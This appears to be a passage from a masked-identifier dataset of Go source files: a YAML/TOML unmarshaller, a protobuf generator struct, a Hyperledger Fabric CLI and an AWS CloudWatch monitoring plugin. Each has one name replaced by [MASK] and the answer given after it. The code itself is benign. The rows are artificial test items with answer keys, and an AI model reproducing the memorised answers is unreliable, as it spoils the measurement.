&start) } else { *s = []T{*t} } return } func (s *Slice[T]) UnmarshalYAML(node *yaml.Node) (err error) { t := new(T) ts := make([]T, 0) [MASK] := node.Tag if constant.YamlTagSeq == [MASK] { err = node.Decode(&ts) } else if constant.YamlTagMap == [MASK] { err = node.Decode(t) } if constant.YamlTagMap == [MASK] && nil == err { *s = []T{*t} } else if constant.YamlTagSeq == [MASK] && nil == err { *s = ts } return } func (s *Slice[T]) UnmarshalTOML(value *unstable.Node) (err error) { t := new(T) ts := make([]T, 0) kind := value.Kind if unstable.ArrayTable == kind { err = toml.Unmarshal(value.Data, &ts) } else if unstable.Table == kind { err = toml.Unmarshal(value.Data, t) } if unstable.Table == kind && nil == err { *s = []T{*t} } else if unstable.ArrayTable == kind && nil == err { *s = ts } return } ",tag 226,"package gengo import ( ""strconv"" ""strings"" ""google.golang.org/protobuf/reflect/protoreflect"" ) type GenerateStruct struct { // 版本信息 VersionInfo func() string // 包名 Package string // 所有待生成的枚举 Enums []*GenerateEnums // 所有待生成的消息 Messages []*GenerateMessage // 导入包函数, improt func(pkg, name string) string } func (g *GenerateStruct) SetImport(f func(pkg, name string) string) { g.improt = f } type GenerateDoc struct { // 前置注释 LeadingComments string // 尾注释 TrailingComment string } type GenerateEnums struct { GenerateDoc // 类型名 TypeName string // go里面的名字 GoName string // 枚举值 Values []*GenerateEnumValue } type GenerateEnumValue struct { GenerateDoc // enum值的名字 ValueName string // 描述 Desc string // 编号 Num int32 // Duplicate string } type GenerateMessage struct { GenerateDoc // 类型名 TypeName string // go里面的名字 GoName string // 字段 Fields []*GenerateField // 生成get方法 GenGetter bool // 自定义模板列表 CustomTemplates []string } type GenerateField struct { GenerateDoc // 类型名 TypeName string // go里面的名字 GoName string // 元素类型. 原始类型 GoType string // 错误提示. 消息.字段 Tip string // tags tags string // getter 辅助 GetNilCheck bool DefaultValue string // protobuf field num DescNum int // PB 中的名字 DescName string // proto-wire 类型 -string WireType string // protowire.VarintType // proto-wire 类型 DescType int // 类型属性 IsMap bool IsList bool Kind protoreflect.Kind // marshal 辅助 CheckNotEmpty func(vname string) string // 检测是否为空的条件. 是否需要序列化 // 模板名称 TemplateEncode string TemplateSize string TemplateDecode string // MapKey *GenerateField MapValue *GenerateField } func (f *GenerateField) AddTag(tag, [MASK] string, vals ...string) (_ string) { val := f.DescName if len(vals) > 0 { val = strings.Join(vals, "","") } switch [MASK] { case """": case ""go"": val = GoCamelCase(val) case ""snake"": val = JSONSnakeCase(val) case ""json"": val = JSONCamelCase(val) } switch tag { case ""json"": val += "",omitempty"" } if len(f.tags) > 0 { f.tags += "" "" } val = strings.Replace(strconv.Quote(val), ""`"", `\x60`, -1) f.tags += tag + "":"" + val return f.tags } func (f *GenerateField) Tags() string { if len(f.tags) == 0 { return """" } return ""`"" + f.tags + ""`"" } ",usefun 227,"/* Copyright 2018 Aladdin Blockchain Technologies Ltd Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cmd import ( ""fmt"" ""log"" ""os"" ""strings"" ""github.com/aladdinid/fabric-devkit/maejor/svc"" ""github.com/spf13/cobra"" ) var generateNetworkSpecCmd = &cobra.Command{ Use: ""generate"", Short: ""Skeleton network specification"", Run: func(cmd *cobra.Command, args []string) { if err := createNetworkSpec(); err != nil { if strings.Contains(err.Error(), ""Error: No such image: hyperledger/fabric-tools"") { fmt.Println(err) fmt.Println(`Please run the command: ""maejor container image pull""`) } else { log.Fatal(err) } } }, } var deleteNetworkSpecCmd = &cobra.Command{ Use: ""delete"", Short: ""Network specification"", Run: func(cmd *cobra.Command, args []string) { var [MASK] string fmt.Print(""Delete you project specs [N/y]? "") fmt.Scanln(& [MASK] ) if strings.Compare(strings.ToLower( [MASK] ), ""y"") == 0 || strings.Compare(strings.ToLower( [MASK] ), ""yes"") == 0 { if err := deleteNetworkSpec(); err != nil { log.Fatal(err) } } }, } var networkCmd = &cobra.Command{ Use: ""network"", Short: ""Operations to generate network specification"", } func init() { networkCmd.AddCommand(generateNetworkSpecCmd) networkCmd.AddCommand(deleteNetworkSpecCmd) } func createNetworkSpec() error { networkPath := svc.NetworkPath() if err := os.MkdirAll(networkPath, os.ModePerm); err != nil { return err } channelArtefactPath := svc.ChannelArtefactPath() if err := os.MkdirAll(channelArtefactPath, os.ModePerm); err != nil { return err } scriptPath := svc.ScriptPath() if err := os.MkdirAll(scriptPath, os.ModePerm); err != nil { log.Fatal(err) } // You must create crypto first then channel artefacts if err := svc.CreateCryptoArtifacts(*networkSpec); err != nil { return err } if err := svc.CreateChannelArtefacts(*networkSpec); err != nil { return err } if err := svc.CreateNetworkSpec(*networkSpec); err != nil { return err } if err := svc.GenerateCliScripts(*networkSpec); err != nil { return err } return nil } func deleteNetworkSpec() error { networkPath := svc.NetworkPath() if err := os.RemoveAll(networkPath); err != nil { return err } return nil } ",yesResponse 228,"// Copyright (C) 2003-2018 Opsview Limited. All rights reserved // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( ""bufio"" ""crypto/md5"" ""fmt"" ""github.com/ajgb/go-plugin"" ""github.com/aws/aws-sdk-go/aws"" ""github.com/aws/aws-sdk-go/aws/credentials"" ""github.com/aws/aws-sdk-go/aws/credentials/stscreds"" ""github.com/aws/aws-sdk-go/aws/session"" ""github.com/aws/aws-sdk-go/service/cloudwatch"" ""github.com/aws/aws-sdk-go/service/ec2"" ""io/ioutil"" ""os"" ""strconv"" ""syscall"" ""time"" ) var conf *aws.Config var sess *session.Session var check *plugin.Plugin var svc *cloudwatch.CloudWatch var opts struct { HostAddress string `short:""a"" long:""address"" description:""Address of instance""` Mode string `short:""m"" long:""mode"" description:""Mode"" required:""true""` Warning string `short:""w"" long:""warning"" description:""Warning""` ARN string `short:""R"" long:""arn-role"" description:""Pass the ARN directly here, the default account should have AssumeRole(STS) for this ARN""` Critical string `short:""c"" long:""critical"" description:""Critical""` AccessKey string `short:""A"" long:""accesskey"" description:""Access Key credential""` SecretKey string `short:""S"" long:""secretkey"" description:""Secret Key credential""` FilePath string `short:""f"" long:""filepath"" description:""AWS Access credentials file""` Region string `short:""r"" long:""region"" description:""Region of AWS"" default:""eu-west-1""` SearchName string `short:""i"" long:""searchvalue"" description:""Name or ID to be monitored""` Statistics string `short:""s"" long:""statistics"" description:""Metric type(average, minimal, maximum)"" default:""average""` NameSpace string `short:""n"" long:""namespace"" description:""The Name of the area in which the metrics are taken from(AWS/EC2, AWS/S3)""` DimensionName string `short:""d"" long:""dimensionname"" description:""The name of the value type(instanceid)""` DebugMode bool `short:""v"" long:""debugmode"" description:""Turns on debugging messages""` Pedantic bool `short:""p"" long:""pedantic"" description:""Warn if the public DNS name does not match the instance name""` } func main() { check = checkPlugin() defer check.Final() check.AllMetricsInOutput = true var err error if err = check.ParseArgs(&opts); err != nil { check.ExitCritical(""Error parsing arguments: %s"", err) } validateArgs(check) var creds *credentials.Credentials if opts.AccessKey == """" || opts.SecretKey == """" { //If accessKey or secretKey not being used presume we should use session config file os.Setenv(""AWS_PROFILE"", opts.FilePath) creds = credentials.NewSharedCredentials(opts.FilePath, ""default"") } else { creds = credentials.NewStaticCredentials(opts.AccessKey, opts.SecretKey, """") } conf = &aws.Config{ Credentials: creds, Region: aws.String(opts.Region), } sess, err = session.NewSessionWithOptions(session.Options{Config: *conf}) if err != nil { check.ExitUnknown(""Failed to create session. Check your AWS Access Key and Secret Key."") } // If an ARN has been provided in the args, assume the role at this point if opts.ARN != """" { creds = stscreds.NewCredentials(sess, opts.ARN) conf = &aws.Config{ Credentials: creds, Region: aws.String(opts.Region), } } svc = cloudwatch.New(sess, conf) if svc == nil { check.ExitUnknown(""Unable to login to Cloudwatch"") } var startTime time.Time // If no time is given then defaults to 300. endTime := time.Now() lastServiceCheck := updateTimeState(endTime.String()) if lastServiceCheck == """" { startTime = *aws.Time(endTime.UTC().Add(time.Second * -300)) if opts.DebugMode { fmt.Println(""No Last Service Check time availible, defaulting to 5 minutes"") } } else { lastServiceCheckTime, err := time.Parse(""2006-01-02 15:04:05 -0700 MST"", lastServiceCheck) if err != nil { check.ExitCritical(""Time parsed from file is not in the correct format, "" + err.Error()) } startTime = *aws.Time(lastServiceCheckTime) } period := int(endTime.Sub(startTime).Seconds()) // Works out the check period to only make a call for one datapoint. Must be a multiple of 60 (1 min) var periodCheck int if period%60 == 0 { periodCheck = period } else { noOfMins := period / 60 periodCheck = noOfMins * 60 } if periodCheck < 60 { periodCheck = 60 } // Adding delay of 5 mins to match the delay in AWS endTime = endTime.Add(time.Second * -600) startTime = *aws.Time(endTime.UTC().Add(time.Second * time.Duration(-periodCheck))) if opts.DebugMode { fmt.Println(""CheckPeriod: "", periodCheck, "" Start time: "", startTime, "" End time: "", endTime.UTC()) } switch opts.Mode { case ""AWS/S3.BucketSizeBytes"": getMetricsResp(startTime, endTime, periodCheck, ""BucketSizeBytes"", ""Average"", ""AWS/S3"", ""BucketName"") case ""AWS/S3.NumberOfObjects"": getMetricsResp(startTime, endTime, periodCheck, ""NumberOfObjects"", ""Average"", ""AWS/S3"", ""BucketName"") case ""AWS/S3.AllRequests"": getMetricsResp(startTime, endTime, periodCheck, ""AllRequests"", ""Sum"", ""AWS/S3"", ""BucketName"") case ""AWS/S3.GetRequest"": getMetricsResp(startTime, endTime, periodCheck, ""GetRequest"", ""Sum"", ""AWS/S3"", ""BucketName"") case ""AWS/S3.PutRequests"": getMetricsResp(startTime, endTime, periodCheck, ""PutRequests"", ""Sum"", ""AWS/S3"", ""BucketName"") case ""AWS/S3.DeleteRequests"": getMetricsResp(startTime, endTime, periodCheck, ""DeleteRequests"", ""Sum"", ""AWS/S3"", ""BucketName"") case ""AWS/S3.HeadRequests"": getMetricsResp(startTime, endTime, periodCheck, ""HeadRequests"", ""Sum"", ""AWS/S3"", ""BucketName"") case ""AWS/S3.PostRequests"": getMetricsResp(startTime, endTime, periodCheck, ""PostRequests"", ""Sum"", ""AWS/S3"", ""BucketName"") case ""AWS/S3.ListRequests"": getMetricsResp(startTime, endTime, periodCheck, ""ListRequests"", ""Sum"", ""AWS/S3"", ""BucketName"") case ""AWS/S3.BytesDownloaded"": getMetricsResp(startTime, endTime, periodCheck, ""BytesDownloaded"", ""Average"", ""AWS/S3"", ""BucketName"") case ""AWS/S3.BytesUploaded"": getMetricsResp(startTime, endTime, periodCheck, ""BytesUploaded"", ""Average"", ""AWS/S3"", ""BucketName"") case ""AWS/S3.4xxErrors"": getMetricsResp(startTime, endTime, periodCheck, ""4xxErrors"", ""Average"", ""AWS/S3"", ""BucketName"") case ""AWS/S3.5xxErrors"": getMetricsResp(startTime, endTime, periodCheck, ""5xxErrors"", ""Average"", ""AWS/S3"", ""BucketName"") case ""AWS/S3.FirstByteLatency"": getMetricsResp(startTime, endTime, periodCheck, ""FirstByteLatency"", ""Average"", ""AWS/S3"", ""BucketName"") case ""AWS/S3.TotalRequestLatency"": getMetricsResp(startTime, endTime, periodCheck, ""TotalRequestLatency"", ""Average"", ""AWS/S3"", ""BucketName"") case ""AWS/EC2.CPUCreditUsage"": getMetricsResp(startTime, endTime, periodCheck, ""CPUCreditUsage"", ""Average"", ""AWS/EC2"", ""InstanceId"") case ""AWS/EC2.CPUCreditBalance"": getMetricsResp(startTime, endTime, periodCheck, ""CPUCreditBalance"", ""Average"", ""AWS/EC2"", ""InstanceId"") case ""AWS/EC2.CPUUtilization"": getMetricsResp(startTime, endTime, periodCheck, ""CPUUtilization"", ""Average"", ""AWS/EC2"", ""InstanceId"") case ""AWS/EC2.DiskReadOps"": getMetricsResp(startTime, endTime, periodCheck, ""DiskReadOps"", ""Average"", ""AWS/EC2"", ""InstanceId"") case ""AWS/EC2.DiskWriteOps"": getMetricsResp(startTime, endTime, periodCheck, ""DiskWriteOps"", ""Average"", ""AWS/EC2"", ""InstanceId"") case ""AWS/EC2.DiskReadBytes"": getMetricsResp(startTime, endTime, periodCheck, ""DiskReadBytes"", ""Average"", ""AWS/EC2"", ""InstanceId"") case ""AWS/EC2.DiskWriteBytes"": getMetricsResp(startTime, endTime, periodCheck, ""DiskWriteBytes"", ""Average"", ""AWS/EC2"", ""InstanceId"") case ""AWS/EC2.NetworkIn"": getMetricsResp(startTime, endTime, periodCheck, ""NetworkIn"", ""Average"", ""AWS/EC2"", ""InstanceId"") case ""AWS/EC2.NetworkOut"": getMetricsResp(startTime, endTime, periodCheck, ""NetworkOut"", ""Average"", ""AWS/EC2"", ""InstanceId"") case ""AWS/EC2.NetworkPacketsIn"": getMetricsResp(startTime, endTime, periodCheck, ""NetworkPacketsIn"", ""Average"", ""AWS/EC2"", ""InstanceId"") case ""AWS/EC2.NetworkPacketsOut"": getMetricsResp(startTime, endTime, periodCheck, ""NetworkPacketsOut"", ""Average"", ""AWS/EC2"", ""InstanceId"") case ""AWS/EC2.Network"": getMetricsResp(startTime, endTime, periodCheck, ""NetworkIn"", ""Average"", ""AWS/EC2"", ""InstanceId"") getMetricsResp(startTime, endTime, periodCheck, ""NetworkOut"", ""Average"", ""AWS/EC2"", ""InstanceId"") getMetricsResp(startTime, endTime, periodCheck, ""NetworkPacketsIn"", ""Average"", ""AWS/EC2"", ""InstanceId"") getMetricsResp(startTime, endTime, periodCheck, ""NetworkPacketsOut"", ""Average"", ""AWS/EC2"", ""InstanceId"") case ""AWS/EC2.StatusCheckFailed"": getMetricsResp(startTime, endTime, periodCheck, ""StatusCheckFailed"", ""Average"", ""AWS/EC2"", ""InstanceId"") case ""AWS/ELB.BackendConnectionErrors"": getMetricsResp(startTime, endTime, periodCheck, ""BackendConnectionErrors"", ""Sum"", ""AWS/ELB"", ""LoadBalancerName"") case ""AWS/ELB.HealthyHostCount"": getMetricsResp(startTime, endTime, periodCheck, ""HealthyHostCount"", ""Average"", ""AWS/ELB"", ""LoadBalancerName"") case ""AWS/ELB.HTTPCode_Backend"": getMetricsResp(startTime, endTime, periodCheck, ""HTTPCode_Backend_2XX"", ""Sum"", ""AWS/ELB"", ""LoadBalancerName"") getMetricsResp(startTime, endTime, periodCheck, ""HTTPCode_Backend_3XX"", ""Sum"", ""AWS/ELB"", ""LoadBalancerName"") getMetricsResp(startTime, endTime, periodCheck, ""HTTPCode_Backend_4XX"", ""Sum"", ""AWS/ELB"", ""LoadBalancerName"") getMetricsResp(startTime, endTime, periodCheck, ""HTTPCode_Backend_5XX"", ""Sum"", ""AWS/ELB"", ""LoadBalancerName"") case ""AWS/ELB.HTTPCode_ELB"": getMetricsResp(startTime, endTime, periodCheck, ""HTTPCode_ELB_4XX"", ""Sum"", ""AWS/ELB"", ""LoadBalancerName"") getMetricsResp(startTime, endTime, periodCheck, ""HTTPCode_ELB_5XX"", ""Sum"", ""AWS/ELB"", ""LoadBalancerName"") case ""AWS/ELB.Latency"": getMetricsResp(startTime, endTime, periodCheck, ""Latency"", ""Average"", ""AWS/ELB"", ""LoadBalancerName"") case ""AWS/ELB.RequestCount"": getMetricsResp(startTime, endTime, periodCheck, ""RequestCount"", ""Sum"", ""AWS/ELB"", ""LoadBalancerName"") case ""AWS/ELB.SpilloverCount"": getMetricsResp(startTime, endTime, periodCheck, ""SpilloverCount"", ""Sum"", ""AWS/ELB"", ""LoadBalancerName"") case ""AWS/ELB.SurgeQueueLength"": getMetricsResp(startTime, endTime, periodCheck, ""SurgeQueueLength"", ""Maximum"", ""AWS/ELB"", ""LoadBalancerName"") case ""AWS/ELB.UnHealthyHostCount"": getMetricsResp(startTime, endTime, periodCheck, ""UnHealthyHostCount"", ""Average"", ""AWS/ELB"", ""LoadBalancerName"") case ""AWS/Route53.ChildHealthCheckHealthyCount"": getMetricsResp(startTime, endTime, periodCheck, ""ChildHealthCheckHealthyCount"", ""Average"", ""AWS/Route53"", ""HealthCheckId"") case ""AWS/Route53.ConnectionTime"": getMetricsResp(startTime, endTime, periodCheck, ""ConnectionTime"", ""Average"", ""AWS/Route53"", ""HealthCheckId"") case ""AWS/Route53.HealthCheckPercentageHealthy"": getMetricsResp(startTime, endTime, periodCheck, ""HealthCheckPercentageHealthy"", ""Average"", ""AWS/Route53"", ""HealthCheckId"") case ""AWS/Route53.HealthCheckStatus"": getMetricsResp(startTime, endTime, periodCheck, ""HealthCheckStatus"", ""Minimum"", ""AWS/Route53"", ""HealthCheckId"") case ""AWS/Route53.SSLHandshakeTime"": getMetricsResp(startTime, endTime, periodCheck, ""SSLHandshakeTime"", ""Average"", ""AWS/Route53"", ""HealthCheckId"") case ""AWS/Route53.TimeToFirstByte"": getMetricsResp(startTime, endTime, periodCheck, ""TimeToFirstByte"", ""Average"", ""AWS/Route53"", ""HealthCheckId"") case ""AWS/DynamoDB.ConditionalCheckFailedRequests"": getMetricsResp(startTime, endTime, periodCheck, ""ConditionalCheckFailedRequests"", ""Average"", ""AWS/DynamoDB"", ""TableName"") case ""AWS/DynamoDB.ConsumedReadCapacityUnits"": getMetricsResp(startTime, endTime, periodCheck, ""ConsumedReadCapacityUnits"", ""Average"", ""AWS/DynamoDB"", ""TableName"") case ""AWS/DynamoDB.ConsumedWriteCapacityUnits"": getMetricsResp(startTime, endTime, periodCheck, ""ConsumedWriteCapacityUnits"", ""Average"", ""AWS/DynamoDB"", ""TableName"") case ""AWS/DynamoDB.OnlineIndexConsumedWriteCapacity"": getMetricsResp(startTime, endTime, periodCheck, ""OnlineIndexConsumedWriteCapacity"", ""Average"", ""AWS/DynamoDB"", ""TableName"") case ""AWS/DynamoDB.OnlineIndexPercentageProgress"": getMetricsResp(startTime, endTime, periodCheck, ""OnlineIndexPercentageProgress"", ""Average"", ""AWS/DynamoDB"", ""TableName"") case ""AWS/DynamoDB.OnlineIndexThrottleEvents"": getMetricsResp(startTime, endTime, periodCheck, ""OnlineIndexThrottleEvents"", ""Average"", ""AWS/DynamoDB"", ""TableName"") case ""AWS/DynamoDB.ProvisionedReadCapacityUnits"": getMetricsResp(startTime, endTime, periodCheck, ""ProvisionedReadCapacityUnits"", ""Average"", ""AWS/DynamoDB"", ""TableName"") case ""AWS/DynamoDB.ProvisionedWriteCapacityUnits"": getMetricsResp(startTime, endTime, periodCheck, ""ProvisionedWriteCapacityUnits"", ""Average"", ""AWS/DynamoDB"", ""TableName"") case ""AWS/DynamoDB.ReadThrottleEvents"": getMetricsResp(startTime, endTime, periodCheck, ""ReadThrottleEvents"", ""Sum"", ""AWS/DynamoDB"", ""TableName"") case ""AWS/DynamoDB.ReturnedBytes"": getMetricsResp(startTime, endTime, periodCheck, ""ReturnedBytes"", ""Average"", ""AWS/DynamoDB"", ""TableName"") case ""AWS/DynamoDB.ReturnedItemCount"": getMetricsResp(startTime, endTime, periodCheck, ""ReturnedItemCount"", ""Average"", ""AWS/DynamoDB"", ""TableName"") case ""AWS/DynamoDB.ReturnedRecordsCount"": getMetricsResp(startTime, endTime, periodCheck, ""ReturnedRecordsCount"", ""Average"", ""AWS/DynamoDB"", ""TableName"") case ""AWS/DynamoDB.SuccessfulRequestLatency"": getMetricsResp(startTime, endTime, periodCheck, ""SuccessfulRequestLatency"", ""Average"", ""AWS/DynamoDB"", ""TableName"") case ""AWS/DynamoDB.SystemErrors"": getMetricsResp(startTime, endTime, periodCheck, ""SystemErrors"", ""Sum"", ""AWS/DynamoDB"", ""TableName"") case ""AWS/DynamoDB.ThrottledRequests"": getMetricsResp(startTime, endTime, periodCheck, ""ThrottledRequests"", ""Sum"", ""AWS/DynamoDB"", ""TableName"") case ""AWS/DynamoDB.UserErrors"": getMetricsResp(startTime, endTime, periodCheck, ""UserErrors"", ""Sum"", ""AWS/DynamoDB"", ""TableName"") case ""AWS/DynamoDB.WriteThrottleEvents"": getMetricsResp(startTime, endTime, periodCheck, ""WriteThrottleEvents"", ""Sum"", ""AWS/DynamoDB"", ""TableName"") case ""AWS/RDS.BinLogDiskUsage"": getMetricsResp(startTime, endTime, periodCheck, ""BinLogDiskUsage"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/RDS.CPUUtilization"": getMetricsResp(startTime, endTime, periodCheck, ""CPUUtilization"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/RDS.CPUCreditUsage"": getMetricsResp(startTime, endTime, periodCheck, ""CPUCreditUsage"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/RDS.CPUCreditBalance"": getMetricsResp(startTime, endTime, periodCheck, ""CPUCreditBalance"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/RDS.DatabaseConnections"": getMetricsResp(startTime, endTime, periodCheck, ""DatabaseConnections"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/RDS.DiskQueueDepth"": getMetricsResp(startTime, endTime, periodCheck, ""DiskQueueDepth"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/RDS.FreeableMemory"": getMetricsResp(startTime, endTime, periodCheck, ""FreeableMemory"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/RDS.FreeStorageSpace"": getMetricsResp(startTime, endTime, periodCheck, ""FreeStorageSpace"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/RDS.ReplicaLag"": getMetricsResp(startTime, endTime, periodCheck, ""ReplicaLag"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/RDS.SwapUsage"": getMetricsResp(startTime, endTime, periodCheck, ""SwapUsage"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/RDS.ReadIOPS"": getMetricsResp(startTime, endTime, periodCheck, ""ReadIOPS"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/RDS.WriteIOPS"": getMetricsResp(startTime, endTime, periodCheck, ""WriteIOPS"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/RDS.ReadLatency"": getMetricsResp(startTime, endTime, periodCheck, ""ReadLatency"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/RDS.WriteLatency"": getMetricsResp(startTime, endTime, periodCheck, ""WriteLatency"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/RDS.ReadThroughput"": getMetricsResp(startTime, endTime, periodCheck, ""ReadThroughput"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/RDS.WriteThroughput"": getMetricsResp(startTime, endTime, periodCheck, ""WriteThroughput"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/RDS.NetworkReceiveThroughput"": getMetricsResp(startTime, endTime, periodCheck, ""NetworkReceiveThroughput"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/RDS.NetworkTransmitThroughput"": getMetricsResp(startTime, endTime, periodCheck, ""NetworkTransmitThroughput"", ""Average"", ""AWS/RDS"", ""DBInstanceIdentifier"") case ""AWS/AutoScaling.GroupMinSize"": getMetricsResp(startTime, endTime, periodCheck, ""GroupMinSize"", ""Average"", ""AWS/AutoScaling"", ""AutoScalingGroupName"") case ""AWS/AutoScaling.GroupMaxSize"": getMetricsResp(startTime, endTime, periodCheck, ""GroupMaxSize"", ""Average"", ""AWS/AutoScaling"", ""AutoScalingGroupName"") case ""AWS/AutoScaling.GroupDesiredCapacity"": getMetricsResp(startTime, endTime, periodCheck, ""GroupDesiredCapacity"", ""Average"", ""AWS/AutoScaling"", ""AutoScalingGroupName"") case ""AWS/AutoScaling.GroupInServiceInstances"": getMetricsResp(startTime, endTime, periodCheck, ""GroupInServiceInstances"", ""Average"", ""AWS/AutoScaling"", ""AutoScalingGroupName"") case ""AWS/AutoScaling.GroupPendingInstances"": getMetricsResp(startTime, endTime, periodCheck, ""GroupPendingInstances"", ""Average"", ""AWS/AutoScaling"", ""AutoScalingGroupName"") case ""AWS/AutoScaling.GroupStandbyInstances"": getMetricsResp(startTime, endTime, periodCheck, ""GroupStandbyInstances"", ""Average"", ""AWS/AutoScaling"", ""AutoScalingGroupName"") case ""AWS/AutoScaling.GroupTerminatingInstances"": getMetricsResp(startTime, endTime, periodCheck, ""GroupTerminatingInstances"", ""Average"", ""AWS/AutoScaling"", ""AutoScalingGroupName"") case ""AWS/AutoScaling.GroupTotalInstances"": getMetricsResp(startTime, endTime, periodCheck, ""GroupTotalInstances"", ""Average"", ""AWS/AutoScaling"", ""AutoScalingGroupName"") default: if opts.Statistics == """" || opts.NameSpace == """" || opts.DimensionName == """" { check.ExitCritical(""Generic Mode requires all of the following -s statistics, -n name space and -d dimension name"") } getMetricsResp(startTime, endTime, periodCheck, opts.Mode, opts.Statistics, opts.NameSpace, opts.DimensionName) } } // Set up the credentials for the session and make the call for the data parsed. func getMetricsResp(startTime time.Time, endTime time.Time, periodCheck int, metricName string, statistics string, nameSpace string, dimensionName string) { if nameSpace == ""AWS/EC2"" { opts.SearchName = ec2SpecialCase() if opts.SearchName == """" { check.ExitUnknown(""Error no instance ID was found for the Host Address given"") } } if opts.SearchName == """" { check.ExitUnknown(""Error a search name must be given"") } // The data being requested params := &cloudwatch.GetMetricStatisticsInput{ StartTime: &startTime, EndTime: aws.Time(endTime.UTC()), Period: aws.Int64(int64(periodCheck)), MetricName: aws.String(metricName), Namespace: aws.String(nameSpace), Dimensions: []*cloudwatch.Dimension{ { Name: aws.String(dimensionName), Value: aws.String(opts.SearchName), }, }, Statistics: []*string{ aws.String(statistics), }, } resp, err := svc.GetMetricStatistics(params) if err != nil { check.ExitCritical(err.Error()) } addToPerf(resp, statistics, nameSpace) } // Gets the InstanceId if the instance public DNS address has been given. It will use the opts.SearchName if given. func ec2SpecialCase() string { var returnId string if opts.SearchName == """" && opts.HostAddress == """" { check.ExitUnknown(""One of the search metrics must be given -a HostAddress or -i Instance ID"") } if opts.SearchName != """" && opts.HostAddress == """" { return opts.SearchName } else { ecc := ec2.New(sess, conf) if ecc == nil { check.ExitUnknown(""Unable to login to EC2"") } resp, err := ecc.DescribeInstances(nil) if err != nil { check.ExitUnknown(""Unable fetch list of EC2 Instances"", err) } for _, reservation := range resp.Reservations { for _, instance := range reservation.Instances { if opts.SearchName != """" && (opts.SearchName == *instance.InstanceId) { // This sections is for when both SearchName(InstanceId) and HostAddress(PublicDnsName) have been given // Pedantic mode alerts if the PublicDnsName given is not the same as the one found with the InstanceId. if opts.Pedantic && (*instance.PublicDnsName != opts.HostAddress) { check.ExitWarning(""Address specified does not match public DNS set for instance (address: %v vs DNS: %v)"", opts.HostAddress, *instance.PublicDnsName) } returnId = opts.SearchName } else if opts.HostAddress == *instance.PublicDnsName { returnId = *instance.InstanceId if opts.DebugMode { fmt.Println(""No EC2 instance found matching your Instance ID so looking up using the public DNS name"") } if opts.Pedantic { check.ExitWarning(""Instance ID specified does not match Instance ID set for the address specified (Instance given: %v)"", opts.SearchName) } } } } } if returnId == """" { check.ExitUnknown(""No EC2 instance found matching your Public DNS name and Instance ID"") } return returnId } // Adds the value in correct type to the perf data func addToPerf(resp *cloudwatch.GetMetricStatisticsOutput, stat string, nameSpace string) { var returnValue float64 var UOM string if resp.Datapoints == nil { if opts.Mode == ""AWS/EC2.CPUCreditUsage"" || opts.Mode == ""AWS/EC2.CPUCreditBalance"" || opts.Mode == ""AWS/RDS.CPUCreditUsage"" || opts.Mode == ""AWS/RDS.CPUCreditBalance"" { check.ExitUnknown(""No metric data found. The instance must be a T2 type to collect this metric"") } else if nameSpace == ""AWS/S3"" { check.AddMetric(opts.Mode, 0, """") check.AddMessage(""If you were not expecting a zero value you may have an incorrect timefame or you service is not monitored by cloudwatch"") return } else { check.ExitUnknown(""No metric data found, either the AWS is not set up to monitor this component or the timeframe doesn't contain a datapoint"") } } switch stat { case ""Average"": returnValue = *resp.Datapoints[0].Average case ""Minimum"": returnValue = *resp.Datapoints[0].Minimum case ""Maximum"": returnValue = *resp.Datapoints[0].Maximum case ""Sum"": returnValue = *resp.Datapoints[0].Sum } switch *resp.Datapoints[0].Unit { case ""Percent"": UOM = ""%"" case ""Bytes"": UOM = ""b"" case ""Milliseconds"": UOM = ""ms"" case ""Count"": UOM = """" case ""None"": UOM = """" default: UOM = *resp.Datapoints[0].Unit } if opts.Mode == ""AWS/EC2.StatusCheckFailed"" || opts.Mode == ""AWS/EC2.StatusCheckFailedAverageInstance"" || opts.Mode == ""AWS/EC2.StatusCheckFailedAverageSystem"" { if returnValue == 0 { check.AddResult(plugin.OK, ""Instance passed"") } else if returnValue == 1 { check.AddResult(plugin.CRITICAL, ""Instance failed"") } else { value := strconv.Itoa(int(returnValue)) check.ExitCritical(""The metric type only supports 0(Passed) or 1(Failed), the system received "" + value) } } else if opts.Mode == ""AWS/Route53.HealthCheckStatus"" { if returnValue == 1 { check.AddResult(plugin.OK, ""Healthy"") } else if returnValue == 0 { check.AddResult(plugin.CRITICAL, ""Unhealthy"") } else { value := strconv.Itoa(int(returnValue)) check.ExitCritical(""The metric type only supports 0(Passed) or 1(Failed), the system received "" + value) } } check.AddMetric(opts.Mode, strconv.FormatFloat(returnValue, 'f', 3, 64), UOM, opts.Warning, opts.Critical) } // Validates all the arguments to prevent errors and warn users func validateArgs(check *plugin.Plugin) { if (opts.AccessKey == """" || opts.SecretKey == 